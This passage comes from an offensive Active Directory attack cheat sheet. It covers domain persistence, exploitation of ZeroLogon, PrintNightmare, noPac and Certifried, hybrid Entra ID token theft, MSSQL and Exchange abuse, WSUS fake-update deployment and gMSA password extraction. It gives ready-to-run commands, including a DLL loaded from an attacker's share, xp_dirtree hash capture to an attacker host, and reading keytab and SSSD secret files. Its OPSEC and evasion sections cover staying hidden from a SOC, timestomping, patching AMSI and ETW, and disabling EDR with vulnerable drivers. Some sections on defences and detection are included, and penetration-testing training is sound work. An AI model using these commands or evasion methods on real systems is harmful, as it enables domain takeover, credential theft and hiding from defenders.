- **AdminSDHolder:** Modify ACL on `CN=AdminSDHolder` → `SDProp` copies it to all protected objects every 60min

- Even if SOC removes your ACE from Domain Admins, it gets automatically restored from AdminSDHolder
- **GPO Backdoor**: Add scheduled task / startup script via GPO — executes on every machine in OU
- SharpGP0Abuse --AddComputerTask or modify SYSVOL directly
- **Machine Account**: Create machine accounts (default quota: 10) for RBCD-based access
- **ADIDNS Time Bomb**: Pre-register DNS records for future hosts → MITM on domain join

//CVEs

The vulnerabilities that changed AD security forever. Beginners will encounter these in labs, CTFs, and real engagements.

CVE CRITICAL

ZeroLogon (CVE-2020-1472)

Netlogon protocol flaw • unauthenticated DC takeover

- Cryptographic flaw in Netlogon's AES-CFB8 implementation — **no authentication required**
- Sends zero-filled challenges until collision occurs (avg ~256 attempts, ~3 seconds)
- Sets DC machine account password to **empty** → auth as DC → DCSync
- `zerologon_tester.py` to check, `cve-2020-1472-exploit.py` to exploit
- **Impact**: Instant Domain Admin from unauthenticated network position
- **WARNING**: — must restore machine password immediately after
- **Patched**: August 2020 — still found in unpatched environments

CVE CRITICAL

PrintNightmare (CVE-2021-1675 / 34527)

Print Spooler RCE • remote code execution as SYSTEM

- Flaw in Windows Print Spooler — allows **any authenticated user** to execute code as SYSTEM
- **Two variants**: LPE (local privilege escalation) and RCE (remote code execution)
- `CVE-2021-1675.py` `attacker-ip target-ip -u user -p pass '/share/evil.dll'`
- Attacker hosts malicious DLL on SMB share → target loads it as SYSTEM
- **On DCs**: SYSTEM on DC = Domain Admin equivalent
- **Mitigation**: Disable Print Spooler on DCs and servers: `Stop-Service Spooler`; `Set-Service Spooler -StartupType Disabled`

CVE

noPac / SamAccountName Spoofing

CVE-2021-42278 + CVE-2021-42287 • any user to DA

- **CVE-2021-42278**: AD doesn't validate SAMAccountName uniqueness for machine accounts
- **CVE-2021-42287**: KDC grants TGT for non-existent account by appending \$ (assumes machine account)
- **Chain**: Create machine account → rename to DC name (without \$) → request TGT → rename back → request TGS → KDC issues TGS as DC\$
- `noPac.py domain/user:pass -dc-ip DC_IP -dc-host DC_HOSTNAME --impersonate Administrator -dump`
- **Impact**: Any domain user with MachineAccountQuota > 0 can become Domain Admin
- **Patched**: November 2021

CVE

Certifried (CVE-2022-26923)

Machine account certificate abuse • domain user to DA

- Machine accounts can request certificates using their dNSHostName for authentication
- **Attack**: Create machine account → set its dNSHostName to a DC's hostname → request machine cert → PKINIT as DC
- `certipy account create -u user -p pass -dc-ip DC -user 'EVIL$' -dns DC.corp.local`
- `certipy req -u 'EVIL$' -p pass -ca CORP-CA -template Machine`
- **Impact**: Similar to noPac but via certificate path — any user to DA
- **Patched**: May 2022 — patch adds SID mapping validation to certificates

CVE

CVE-2025-24071 — NTLM Hash Leak via .library-ms

NTLMv2 hash leak via crafted RAR/ZIP + .library-ms file

- Opening a specially crafted **RAR or ZIP archive** containing a .library-ms file triggers the vulnerability
- Windows Explorer automatically parses .library-ms files upon extraction — **no user interaction beyond extraction**
- The .library-ms file references a UNC path → Explorer initiates **SMB authentication** to the attacker
- **Leaked data**: NTLMv2 hashes — can be cracked with hashcat mode 5600 or relayed

- **Attack scenario:** Email ZIP attachment to target → user extracts → hash captured by Responder
- **Impact:** Credential theft with minimal user interaction — no need to open or click the file

CVE

CVE-2025-33073 — NTLM Relay Vulnerability

NTLM relay for unauthorized network resource access

- Enables **relay of NTLM authentication** to gain unauthorized access to network resources
- Attacker intercepts NTLM authentication and relays it to a target service
- **Impact:** Gain access to resources as the relayed user — including privileged services
- Can be chained with coercion techniques (PetitPotam, PrinterBug) to target specific high-value accounts
- **Relay targets:** LDAP, SMB, HTTP endpoints without proper signing/binding protections
- **Mitigation:** Enforce LDAP signing, LDAP channel binding, SMB signing, and Extended Protection for Authentication

//Entra ID Hybrid Attacks

Most enterprises run hybrid AD. Cloud-to-on-prem and on-prem-to-cloud attack paths are increasingly critical in modern engagements.

HYBRID

The bridge between on-prem AD and Azure AD

- Syncs on-prem AD objects to Azure AD — runs as a service with **high privileges in both**
- **Password Hash Sync (PHS):** Hashes synced to Azure — MSOL account has DCSync-equivalent rights
- **Extract creds:** AADInternals Get-AADIntSyncCredentials — dumps MSOL service account
- **Pass-Through Auth (PTA):** Auth agent on-prem can be backdoored to accept any password
- **Federation (ADFS):** Steal token-signing certificate → forge SAML tokens (Golden SAML)
- **Impact:** MSOL account can DCSync → compromise on-prem from cloud, or vice versa

HYBRID

PRT & Token Theft

Primary Refresh Token — the cloud equivalent of a TGT

- **PRT**: SSO token for Azure AD — grants access to all cloud resources without re-auth
- Stored in TPM (hardware) or software — software PRTs can be extracted from LSASS
- **ROADtools**: Enumerate Azure AD, extract tokens, map permissions
- **AADInternals**: Join-AADIntDeviceToAzureAD, Get-AADIntAccessTokenForAADGraph
- **Device code phishing**: Trick user into entering device code → steal their tokens
- **Seamless SSO**: Uses Kerberos with AZUREADSSOACC\$ computer account — if its hash is compromised, forge Silver Tickets for cloud auth

HYBRID

Cloud → On-Prem Paths

Compromising on-prem AD from Azure AD

- **Global Admin** → **on-prem**: Reset Azure AD Connect MSOL password → DCSync on-prem
- **Intune admin**: Push scripts/apps to on-prem hybrid-joined devices → code execution
- **Application Proxy**: If misconfigured, exposes internal apps — can pivot through
- **Password writeback**: If enabled, cloud admin can reset on-prem passwords
- **ADFS token forgery**: Golden SAML — forge authentication tokens for any federated user

HYBRID

On-Prem → Cloud Paths

Pivoting to Azure from compromised on-prem AD

- **MSOL account**: Has Replication rights — DCSync hash, then authenticate to Azure AD
- **Seamless SSO**: Dump AZUREADSSOACC\$ hash → forge Kerberos tickets for Azure AD auth
- **Synced admin accounts**: On-prem DA with same UPN as cloud GA → same password/hash
- **Conditional Access bypass**: Trusted location exemptions can be abused from on-prem network
- **Key takeaway**: Hybrid = both environments share trust. Owning one often means owning both.

HYBRID

Conditional Access Bypass via Cross-Tenant ROPC

Resource Owner Password Credentials grant across tenants

- Abuses the **Resource Owner Password Credentials (ROPC)** grant type across Azure AD tenants
- Authenticate through a **different tenant's token endpoint** to bypass Conditional Access policies
- Conditional Access policies are evaluated based on the **authenticating tenant**, not the resource tenant
- **Attack**: Obtain user credentials → authenticate via external tenant ROPC endpoint → access resources without CA enforcement
- **Impact**: Bypasses MFA, device compliance, location-based policies, and other Conditional Access controls
- **Mitigation**: Disable ROPC grant, enforce cross-tenant access policies, use Continuous Access Evaluation (CAE)

HYBRID

SPA Token Abuse

Single Page Application token replay • SpecterOps research

- Based on **SpecterOps research** into Single Page Application (SPA) token handling in Azure AD
- SPA tokens have **weaker validation** compared to standard OAuth tokens
- SPA tokens can be **replayed across sessions** — not properly bound to the originating session
- **Refresh token abuse**: Exploit SPA refresh token flows for **persistent cloud access**
- Tokens persist even after password changes if refresh tokens are not properly revoked
- **Mitigation**: Implement token binding, enable Continuous Access Evaluation, use short-lived tokens, monitor for anomalous token usage patterns

HYBRID

Entra Metaverse Attacks

dirkjanm.io research • Azure AD Connect Metaverse abuse

- Research by **dirkjanm.io** on attacking the Azure AD Connect **Metaverse database**
- The Metaverse is the central database that maps on-prem AD objects to Azure AD objects during sync
- **Inject attributes**: Manipulate the Metaverse to inject or modify attributes on synchronized objects

- **Modify sync rules:** Alter synchronization rules to control which attributes flow between on-prem and cloud
- **Backdoor hybrid identity:** Modify sync configurations to maintain persistent access across both environments
- **Impact:** Full control over hybrid identity synchronization — can modify any synced object's attributes in either direction

// Protected Users & Defensive Controls

What actually blocks AD attacks. Understanding defenses helps you identify what's deployed (and what's not) during engagements.

DEFENSE

Protected Users Group

Single most impactful defensive group in AD

- Members **cannot use NTLM** — blocks Pass-the-Hash, NTLM relay, Responder capture
- Forces **Kerberos AES only** — no RC4/DES, slows Kerberoasting significantly
- **No delegation** — TGTs are non-forwardable, blocks unconstrained & constrained delegation abuse
- **No caching** — no DCC2 cached creds on workstations
- TGT lifetime reduced to **4 hours** (non-renewable)
- **Limitation:** Breaks apps that require NTLM or delegation — not all accounts can be added
- **Check:** `net group "Protected Users" /domain`

DEFENSE

Credential Guard

VBS-based LSASS isolation

- Uses **Virtualization-Based Security (VBS)** to isolate LSASS secrets in a secure enclave
- NT hashes and Kerberos keys stored in **LSAiso.exe** — inaccessible even to SYSTEM/kernel
- **Blocks:** Mimikatz sekurlsa::logonpasswords, Pass-the-Hash from memory, DPAPI master keys
- **Does NOT block:** Kerberoasting, AS-REP roasting, DCSync, NTDS.dit offline attacks
- **Requirements:** UEFI Secure Boot, TPM 2.0, Windows 10/11 Enterprise or Server 2016+

- **Check:** Get-ComputerInfo -Property DeviceGuard*

DEFENSE

AES-Only Kerberos & LDAP Signing

Protocol-level hardening

- **AES-only Kerberos:** Disable RC4 encryption — Kerberoasted hashes become mode 19700 (much slower to crack)
- **How:** GPO → Computer Config → Security → Local Policies → Security Options → "Network security: Configure encryption types allowed"
- **LDAP Signing:** Require signing → blocks NTLM relay to LDAP
- **LDAP Channel Binding:** Require binding → blocks relay to LDAPS
- **SMB Signing:** Require on all hosts → blocks SMB-to-SMB relay
- **Extended Protection for Authentication:** Blocks relay to HTTP/HTTPS endpoints (ADCS, Exchange)

DEFENSE

Tiered Administration Model

Prevent credential exposure across tiers

- **Tier 0:** Domain Controllers, AD admins — *never* log into lower-tier machines
- **Tier 1:** Servers, applications — separate admin accounts, no DA credentials
- **Tier 2:** Workstations, end users — local admin only, no domain-wide privileges
- **PAW** (Privileged Access Workstation): Hardened workstation dedicated to Tier 0 administration
- **Why it matters:** If DA logs into a workstation, any local admin can steal their creds from LSASS
- **Reality:** Most orgs violate tiering — DA credentials on workstations is the #1 path to domain compromise

// OPSEC Considerations

What's loud, what's quiet, and what will get you caught. Essential for red teamers and useful for defenders to understand attacker tradeoffs.

Attack Noise Level Guide

TECHNIQUE	NOISE LEVEL	WHY

BloodHound collection with normal traffic	LOW	Standard LDAP queries, blends
Kerberoasting suspicious in volume	LOW	Legitimate TGS requests – only
AS-REP Roasting needed	LOW	Normal-looking AS-REQ, no auth
LDAP enumeration	LOW	Standard directory queries
Silver Ticket detect	LOW	Never touches DC – very hard to
RBCD setup often not monitored	LOW-MED	Attribute modification logged but
Password Spray (4625/4771) in short window	MEDIUM	Multiple failed logons
DCSync rights from non-DC	MEDIUM	Event 4662 with replication
NTLM Relay unusual auth patterns	MEDIUM	Auth source/dest mismatch,
Coercion (PetitPotam etc.) unexpected auth to workstations	MEDIUM	Unusual RPC calls to DC,
ACL modifications	MEDIUM	Event 5136 on sensitive objects
Mimikatz / lsassy signatures, both heavily detected by EDR	HIGH	LSASS access (Sysmon 10), known
PSEXEC pipe, known binary	HIGH	Service creation (7045), named
ZeroLogon empty, breaks replication	HIGH	DC machine password reset to
Responder (broadcast) unexpected source	HIGH	LLMNR/NBT-NS/mDNS responses from
Golden Ticket ticket lifetimes	MEDIUM-HIGH	TGT with no AS-REQ, unusual
Mass credential dump (NTDS) exfil from DC	HIGH	VSS shadow creation, large data
SharpHound (aggressive mode) sessions in minutes	HIGH	Thousands of LDAP queries + SMB

OPSEC

Staying Quiet

Techniques to minimize detection

- **Use Kerberos over NTLM:** Kerberos is expected traffic; NTLM from Linux tools stands out
- **Slow and low spraying:** 1 attempt per user per 30+ minutes, use Kerberos pre-auth instead of SMB logon
- **BloodHound:** Use --collectionmethod DCOnly to avoid touching endpoints

- **Avoid PsExec:** Use WMIExec or SMBExec (no service creation) or evil-winrm (legitimate WinRM)
- **Timestomping:** Match file timestamps to surrounding files when dropping tools
- **Living off the land:** Use built-in tools (PowerShell, net.exe, nltest) over external binaries

OPSEC

Common Mistakes

What gets red teamers caught

- **Running SharpHound** with default settings — aggressive LDAP + SMB enumeration is very noisy
- **Password spray lockouts:** Not checking lockout policy first — locking out users alerts SOC
- **Mimikatz / Isassy on target:** Both heavily signatured by AV/EDR — use remote secretsdump.py or procdump + offline pypykatz
- **PsExec default pipe names:** Well-known signatures — use custom service/pipe names
- **Uploading tools to DC:** High-value target with most monitoring — use remote tools instead
- **Not cleaning up:** Leaving machine accounts, modified ACLs, GPO changes behind

OPSEC

Preferred Alternatives

Stealthier equivalents for common techniques

- **Instead of PsExec:** wmiexec (no service), atexec (scheduled task), evil-winrm (legitimate WinRM)
- **Instead of Mimikatz / Isassy:** secretsdump.py remotely (never touches target disk), or procdump.exe (signed Microsoft binary) → exfil dump → offline pypykatz. Both Mimikatz and Isassy are heavily detected by modern EDR
- **Instead of SharpHound:** bloodhound-python (DCOnly), manual LDAP queries with ldapdeep
- **Instead of Responder broadcast:** Targeted coercion (PetitPotam to specific host)
- **Instead of Golden Ticket:** Diamond/Sapphire Ticket (has legitimate AS-REQ on DC)
- **Instead of mass NTDS dump:** Targeted DCSync for specific accounts only

OPSEC

LDAP OPSEC

Evading LDAP query signature detection & reducing enumeration footprint

- **Hex-patch objectGUID queries:** Tools like ADEplorer use (objectGUID=*) queries — hex-patch the binary to change the attribute name and bypass signature-based detection
- **Custom LDAP filters:** Avoid the (objectGUID=*) pattern matching used by many detection rules — use equivalent queries with different filter syntax
- **Targeted LDAP filters:** Reduce query volume by using specific LDAP filters instead of wholesale subtree enumeration — only query what you need
- **BOFHound collection:** Use BOFHound for BloodHound-compatible data collection via BOF LDAP queries — smaller footprint than SharpHound
- **RustHound-CE filtered queries:** Use RustHound-CE with custom LDAP filters to mask BloodHound collection patterns
- **Query spacing:** Spread LDAP queries over time to blend with normal directory traffic — avoid burst patterns
- **Detection:** SOC monitors for high-volume LDAP queries, known tool signatures in query patterns, and unusual query attributes

// MSSQL Attacks

SQL Server is deeply integrated with AD. Linked servers, xp_cmdshell, and impersonation chains provide powerful lateral movement paths often overlooked by beginners.

MSSQL

Initial Access to MSSQL

Finding and authenticating to SQL Servers

- **Discover:** netexec mssql 10.0.0.0/24 — finds SQL Server instances across subnet
- **UDP scan:** SQL Browser service on **UDP 1434** reveals instance names and ports
- **Default SA:** sa with blank or weak password — netexec mssql target -u sa -p "
- **Domain auth:** Kerberos/NTLM auth to SQL with domain creds — mssqlclient.py domain/user:pass@target -windows-auth
- **SPN discovery:** GetUserSPNs.py — MSSQLSvc/ SPNs reveal SQL servers and service accounts
- **Public role:** Even the public role can enumerate databases, linked servers, and impersonation

MSSQL

xp_cmdshell & Code Execution

SQL Server to OS command execution

- **xp_cmdshell**: Execute OS commands as SQL service account — often NT SERVICE\MSSQLSERVER or a domain service account
- **Enable if disabled**: EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; (requires sysadmin)
- **Requires**: show advanced options enabled first
- **Alternative**: sp_OACreate + sp_OAMethod for COM object execution
- **Alternative**: CLR assembly — load .NET DLL into SQL for code execution
- **Alternative**: OPENROWSET with bulk loading to read local files

MSSQL

Linked Servers

SQL-to-SQL lateral movement across the domain

- **Enumerate links**: SELECT * FROM master..sys.servers or EXEC sp_linkedservers
- **Execute on linked server**: EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
- **Chain links**: Server A → Server B → Server C — crawl through link chains
- **Double hop**: EXEC ('EXEC (''xp_cmdshell ''''whoami''''') AT [SERVER_C]') AT [SERVER_B]
- **Privilege escalation**: Linked server may run as sa or high-priv account on remote instance
- **Tools**: mssqlclient.py enum_links, PowerUpSQL Get-SQLServerLinkCrawl

MSSQL

Impersonation & Privilege Escalation

Become sysadmin without being sysadmin

- **Impersonation**: EXECUTE AS LOGIN = 'sa' — if IMPERSONATE permission is granted
- **Check**: SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE'
- **Trustworthy DB**: If a database is TRUSTWORTHY and owned by sa, db_owner can escalate to sysadmin
- **Check**: SELECT name, is_trustworthy_on FROM sys.databases
- **NTLM capture**: EXEC xp_dirtree '\\attacker\share' — forces SQL service account NTLM auth to attacker
- **NTLM relay**: Relay captured SQL service hash to LDAP/SMB for domain-level access

// Exchange Server Attacks

On-prem Exchange holds extraordinary AD privileges. The Exchange Trusted Subsystem and Organization Management groups provide direct paths to domain compromise.

EXCHANGE

Exchange Permission Abuse

Exchange groups have excessive AD permissions by default

- **Exchange Windows Permissions** group: Has WriteDACL on the domain root — can grant DCSync rights
- **Exchange Trusted Subsystem**: Member of above group — the Exchange servers themselves have WriteDACL
- **Organization Management**: Full control over Exchange — can modify these permissions
- **Attack**: Compromise any Exchange server → use its machine account to WriteDACL → grant DCSync → dump all hashes
- **PrivExchange**: Coerce Exchange to authenticate → relay to LDAP → WriteDACL as Exchange → DCSync
- `ntlmrelayx --escalate-user attacker --target ldap://DC`

EXCHANGE

Exchange CVEs

Critical vulnerabilities in Exchange Server

- **ProxyLogon** (CVE-2021-26855): SSRF + RCE — unauthenticated remote code execution as SYSTEM
- **ProxyShell** (CVE-2021-34473/34523/31207): Auth bypass + privilege escalation + RCE chain
- **ProxyNotShell** (CVE-2022-41040/41082): SSRF + RCE, requires authentication
- **Impact**: Exchange runs as **SYSTEM** with high AD privileges — RCE = near-instant domain compromise
- **Mailbox access**: Even without RCE, accessing mailboxes reveals passwords, VPN configs, sensitive data
- **Ruler**: Abuse Outlook rules/forms for code execution via compromised mailbox credentials

EXCHANGE

Post-Exploitation via Exchange

What you can do once you have Exchange access

- **Mailbox search:** MailSniper — search all mailboxes for "password", "vpn", "credentials"
- **GAL extraction:** Global Address List gives you all email addresses/usernames for spraying
- **Delegate access:** Grant yourself full access to any mailbox via PowerShell
- **Transport rules:** BCC all emails to attacker — persistent email surveillance
- **OWA credential harvesting:** Modify OWA login page to capture credentials
- **Exfiltration:** Export mailboxes as PST files for offline analysis

// Local Privilege Escalation

Before you can dump LSASS or pivot, you typically need local admin. These are the most common Windows local privesc paths encountered in AD environments.

LOCAL PE

Potato Attacks (Token Impersonation)

SeImpersonatePrivilege → SYSTEM

- Service accounts (IIS, MSSQL, etc.) have SeImpersonatePrivilege by default
- **JuicyPotato:** Abuses COM DCOM activation — works on Server 2016/2019
- **PrintSpoofer:** Abuses named pipe impersonation via Print Spooler — works on Server 2019+
- **GodPotato:** Works on all Windows versions from 8 to 11, Server 2012 to 2022
- **SweetPotato:** Combines multiple potato techniques into one tool
- **RoguePotato:** Works when other potatoes are blocked — uses remote OXID resolution
- **Usage:** GodPotato.exe -cmd "cmd /c whoami" → NT AUTHORITY\SYSTEM

LOCAL PE

Service Misconfigurations

Weak service permissions & unquoted paths

- **Unquoted service paths:** C:\Program Files\Some App\service.exe → place C:\Program.exe — runs as service account
- **Weak service permissions:** If you can modify a service binary or config → replace with payload

- **Writable service directory:** DLL hijacking by placing malicious DLL in service directory
- **AlwaysInstallElevated:** If both HKLM and HKCU keys are set → install MSI as SYSTEM
- **Enumeration:** winPEAS or PowerUp Invoke-AllChecks for automated discovery
- **Check:** `sc qc servicename` to see binary path and service account

LOCAL PE

Credential Harvesting (Local)

Find credentials without admin access

- **PowerShell history:**
`%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
- **Saved credentials:** `cmdkey /list` — shows stored Windows credentials
- **Unattend files:** `C:\Windows\Panther\unattend.xml` may contain plaintext admin passwords
- **Web config files:** IIS `web.config`, connection strings with database passwords
- **Registry autologon:** `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` — `DefaultPassword`
- **Scheduled tasks:** `schtasks /query /fo LIST /v` — may reveal run-as accounts
- **WiFi passwords:** `netsh wlan show profile name="SSID" key=clear`

LOCAL PE

Kernel & Miscellaneous

Other escalation paths

- **Kernel exploits:** Missing patches — check with Watson or windows-exploit-suggester
- **SeBackupPrivilege:** Can read any file including SAM/NTDS.dit — use `robocopy /b`
- **SeRestorePrivilege:** Can write any file — overwrite service binaries or DLLs
- **SeLoadDriverPrivilege:** Load kernel driver — load vulnerable driver for arbitrary kernel read/write
- **SeDebugPrivilege:** Debug any process — inject into LSASS or other privileged processes
- **LAPS readable:** If user can read LAPS password attribute — instant local admin on target
- **Tools:** winPEAS, PowerUp, Seatbelt, SharpUp for automated enumeration

// Linux

Modern environments join Linux to AD via SSSD, Winbind, or Samba. These machines store Kerberos tickets and keytabs that attackers can leverage.

LINUX

Kerberos Artifacts on Linux

Where tickets and keys live on Linux systems

- **ccache files:** Kerberos ticket caches — default at `/tmp/krb5cc_UID` or `KRB5CCNAME` env var
- **Steal tickets:** Copy ccache file → `export KRB5CCNAME=/path/to/stolen.ccache` → use with `impacket` tools
- **Keytab files:** Contains long-term Kerberos keys — `/etc/krb5.keytab` (machine account key)
- **Extract from keytab:** `klist -k -t /etc/krb5.keytab` — shows principals and encryption types
- **Use keytab:** `kinit -k -t /etc/krb5.keytab MACHINE$@DOMAIN` — get TGT as machine account
- **SSSD cache:** `/var/lib/sss/db/` — may contain cached credentials (tdb files)

LINUX

SSSD & Winbind Exploitation

Extracting credentials from AD-joined Linux

- **SSSD secrets:** `/var/lib/sss/secrets/secrets.ldb` — may store cleartext domain passwords
- **SSSD cache:** `/var/lib/sss/db/cache_DOMAIN.ldb` — cached password hashes (SHA-512)
- **Keytab extraction:** Machine keytab contains the computer account's Kerberos keys — equivalent to NT hash
- **Convert keytab to hash:** Extract AES/RC4 keys from keytab → use for Pass-the-Key / Over-pass-the-Hash
- **Winbind:** `/var/lib/samba/private/secrets.tdb` — machine account password in Samba's secrets database
- **/etc/krb5.conf:** Shows domain/realm configuration, KDC addresses — useful for targeting

LINUX

Attacking from Linux

Linux as your attack platform for AD

- **Impacket suite:** The primary Linux AD attack toolkit — secretsdump, getST, ntlmrelayx, ticketer, etc.
- **Kerberos auth from Linux:** `export KRB5CCNAME=admin.ccache → secretsdump.py -k -no-pass DC`
- **netexec:** Swiss army knife — SMB, LDAP, MSSQL, WinRM, RDP, SSH enumeration and exploitation
- **bloodhound-python:** BloodHound data collection from Linux — no need to run on Windows
- **certipy:** Full ADCS exploitation suite from Linux
- **krbrelayx:** Kerberos relay + unconstrained delegation exploitation from Linux
- **Ticket conversion:** `ticketConverter.py` — convert between .kirbi (Windows) and .ccache (Linux)

LINUX

Pivoting Through Linux Hosts

Using compromised Linux in AD for lateral movement

- **SSH keys:** `~/.ssh/` — private keys for accessing other Linux hosts (`authorized_keys`, `known_hosts` for targets)
- **sudo misconfigurations:** `sudo -l` — check what the user can run as root
- **Docker/container escape:** If user is in docker group — trivial root escalation
- **Cron jobs:** `/etc/crontab`, `/var/spool/cron/` — writable scripts running as root
- **Ansible/Puppet/Chef:** Config management stores credentials and connects to many hosts
- **History files:** `~/.bash_history`, `~/.mysql_history` — cleartext passwords in command history

// AMSI / CLM / Evasion Basics

Before your tools can run, you may need to bypass endpoint protections. Understanding these defenses helps you choose the right approach.

EVASION

AMSI (Anti-Malware Scan Interface)

Real-time script content scanning

- **What it does:** Scans PowerShell, VBScript, JScript, .NET content **before execution**

- Catches: Invoke-Mimikatz, PowerView, SharpHound, etc. even if loaded in-memory
- **amsi.dll** loaded into every PowerShell process — hooks `AmsiScanBuffer` function
- **Bypass concept:** Patch `AmsiScanBuffer` in memory to always return "clean" result
- **Detection:** Known bypass strings are themselves flagged — requires obfuscation
- **Alternative:** Use compiled .NET tools (SharpCollection) instead of PowerShell scripts
- **Alternative:** Use Python/Linux tools (impacket, netexec) from attacker machine — no AMSI

EVASION

CLM & AppLocker / WDAC

Constrained Language Mode & application whitelisting

- **CLM:** Restricts PowerShell to basic cmdlets — blocks .NET, COM, Add-Type, Invoke-Expression
- **Check:** `$ExecutionContext.SessionState.LanguageMode` — "ConstrainedLanguage" = locked down
- **AppLocker:** Whitelists which executables/scripts/DLLs can run — based on path, hash, or publisher
- **WDAC** (Windows Defender Application Control): Kernel-level code integrity — **much harder** to bypass than AppLocker
- **AppLocker bypass:** Run from whitelisted paths (C:\Windows\Temp\), use `MSBuild.exe`, `InstallUtil.exe` (LOLBAS)
- **CLM bypass:** Use `PSBypassCLM`, custom C# runner, or compiled .NET tools

EVASION

AV/EDR Evasion Concepts

Understanding detection to choose the right tools

- **Signature-based:** Known malware hashes/strings — bypass by recompiling, obfuscating, or custom tooling
- **Heuristic/Behavioral:** Suspicious API call sequences — harder to evade, requires understanding detection logic
- **ETW (Event Tracing):** Feeds events to EDR — patching ETW providers can blind the EDR
- **Kernel callbacks:** EDR registers callbacks for process/thread creation — removing callbacks = blinding
- **Practical approach:** Use remote tools from Linux (impacket, netexec) — no binary on target = no AV detection
- **Living off the land:** Use LOLBAS binaries (`certutil`, `mshta`, `rundll32`) for execution

- **Bring Your Own Vulnerable Driver (BYOVD):** Load vulnerable signed driver to disable EDR kernel hooks

EVASION

Practical Evasion Strategy

Decision tree for tool selection

- **Prefer remote tools:** impacket/netexec/certipy from Linux — nothing touches target disk or memory
- **If you must run on target:** Use compiled .NET (SharpCollection) over PowerShell scripts
- **If .NET is blocked:** Use Go/Nim/Rust compiled tools — less detected than .NET/C#
- **For credential access:** lsassy remotely or procdump (signed Microsoft binary) + offline pypykatz
- **For enumeration:** bloodhound-python from Linux — no SharpHound needed on target
- **For lateral movement:** evil-winrm (legitimate WinRM) or wmiexec (no service creation)

// WSUS Attacks

Windows Server Update Services pushes updates to all domain machines. Compromise the WSUS server or its database, and you can push malicious "updates" to every client.

WSUS

SharpWSUS — Malicious Update Deployment

Push arbitrary commands via fake Windows updates

- **Prereq:** Local admin on WSUS server or write access to its MSSQL database (WID or SQL Server)
- **How it works:** Inject a fake update into the WSUS database → all clients in the target group download and execute it as NT AUTHORITY\SYSTEM
- **Create update:** SharpWSUS.exe create /payload:"C:\Windows\System32\cmd.exe" /args:"/c ..." /title:"Security Update"
- **Approve:** SharpWSUS.exe approve /updateid:GUID /computername:TARGET /groupname:"All Computers"
- **Limitation:** Payload must be a **signed Microsoft binary** (e.g., cmd.exe, msixexec.exe, PsExec.exe)
- **Workaround:** Use PsExec.exe (signed) to launch your actual payload, or msixexec.exe with malicious MSI from UNC path

WSUS

WSUS MITM & HTTP Abuse

Intercept update traffic if WSUS uses HTTP

- **HTTP WSUS:** If WSUS is configured with HTTP (not HTTPS), updates can be intercepted
- **MITM:** ARP spoof or ADIDNS poison → redirect WSUS traffic → serve malicious updates
- **Tools:** WSUSpendu for WSUS database injection, pywsus for MITM proxy
- **Check WSUS URL:** reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
- **If HTTPS:** Cannot MITM, need direct WSUS server/database compromise
- **Scope:** Affects all computers in WSUS target group — potentially every domain machine

WSUS

Detection & Enumeration

Finding and auditing WSUS

- **Find WSUS server:** GPO settings, registry key above, or LDAP: (&(objectClass=serviceConnectionPoint)(cn=WSUSServer))
- **Database location:** WID (Windows Internal Database) at
\\.\pipe\MICROSOFT##WID\tsql\query or remote SQL Server
- **Detection:** Monitor WSUS database for unsigned/unexpected update entries
- **Detection:** Unusual update approvals, updates targeting specific computers
- **Mitigation:** Use HTTPS for WSUS, restrict WSUS admin access, audit update approvals

// gMSA Deep Dive

Group Managed Service Accounts have automatically rotated 256-char passwords managed by AD. If you can read msDS-ManagedPassword, you get the keys to the kingdom.

gMSA

How gMSA Works

AD-managed service accounts with auto-rotating passwords

- **Password:** 256-character, automatically rotated every **30 days** (configurable)

- **Stored in:** msDS-ManagedPassword attribute (LDAP blob, not human-readable)
- **Who can read it:** Defined by msDS-GroupMSAMembership — usually specific computer accounts or groups
- **Contains:** Current password, previous password, query intervals
- **Purpose:** Run services without humans managing passwords — used for SQL, IIS, scheduled tasks, etc.
- **KDS Root Key:** Domain-wide key used to derive gMSA passwords — stored in AD

gMSA

Reading gMSA Passwords

Extract the managed password if you have read access

- **Check who can read:** `Get-ADServiceAccount -Identity gMSA$ -Properties msDS-GroupMSAMembership`
- **From authorized host:** `gMSADumper.py domain/user:pass@DC` — extracts NT hash from msDS-ManagedPassword
- **Python:** `bloodyAD get object gMSA$ --attr msDS-ManagedPassword`
- **PowerShell:** `(Get-ADServiceAccount -Identity gMSA$ -Properties msDS-ManagedPassword) . 'msDS-ManagedPassword'`
- **Output:** NT hash of the gMSA account — can be used for Pass-the-Hash, Silver Ticket, etc.
- **Common finding:** Too many principals in msDS-GroupMSAMembership — low-priv users can read the password

gMSA

gMSA Exploitation Paths

What you can do with a gMSA hash

- **Pass-the-Hash:** gMSA hash works just like any NT hash — `netexec smb target -u gMSA$ -H hash`
- **Silver Ticket:** If gMSA runs a service (SPN), forge TGS for that service
- **Kerberos auth:** `getTGT.py domain/gMSA$ -hashes :NTHASH` → get TGT, access any resource the gMSA has permission to
- **If gMSA is DA:** Direct domain compromise via Pass-the-Hash → DCSync
- **If gMSA runs SQL:** Authenticate to SQL Server as gMSA → `xp_cmdshell` → SYSTEM
- **KDS Root Key abuse:** If you can read CN=Master Root Keys, CN=Group Key Distribution Service → derive *any* gMSA password offline with `GoldenGMSA`

// Password Cracking Methodology

Having the hash is only half the battle. Efficient cracking requires the right wordlists, rules, and strategy for each hash type.

Cracking Strategy by Hash Type

HASH TYPE	SPEED (RTX 4090)	RECOMMENDED STRATEGY
NT Hash (1000)	~164 GH/s	Rainbow tables first, then wordlist+rules, then mask
Net-NTLMv2 (5600)	~10 GH/s	Wordlist+rules (no rainbow tables, salted)
AS-REP RC4 (18200)	~10 GH/s	Wordlist+rules, then mask attacks
TGS RC4 (13100)	~10 GH/s	Wordlist+rules, then mask (same speed as AS-REP)
TGS AES (19700)	~400 KH/s	Targeted wordlist only – too slow for brute force
DCC2 (2100)	~2 MH/s	Very targeted – only crack high-value accounts
Net-NTLMv1 (5500)	~	Convert to NT hash via crack.sh (free service) – no cracking needed

CRACKING

Wordlists

Start with quality wordlists before brute force

- **rockyou.txt**: 14M passwords — the baseline, always run first (~130MB)
- **SecLists**: github.com/danielmiessler/SecLists — categorized password lists by type/language
- **CrackStation**: 1.5B entries — massive real-world leak compilation (~15GB)
- **Weakpass**: weakpass.com — huge curated collections sorted by size/quality
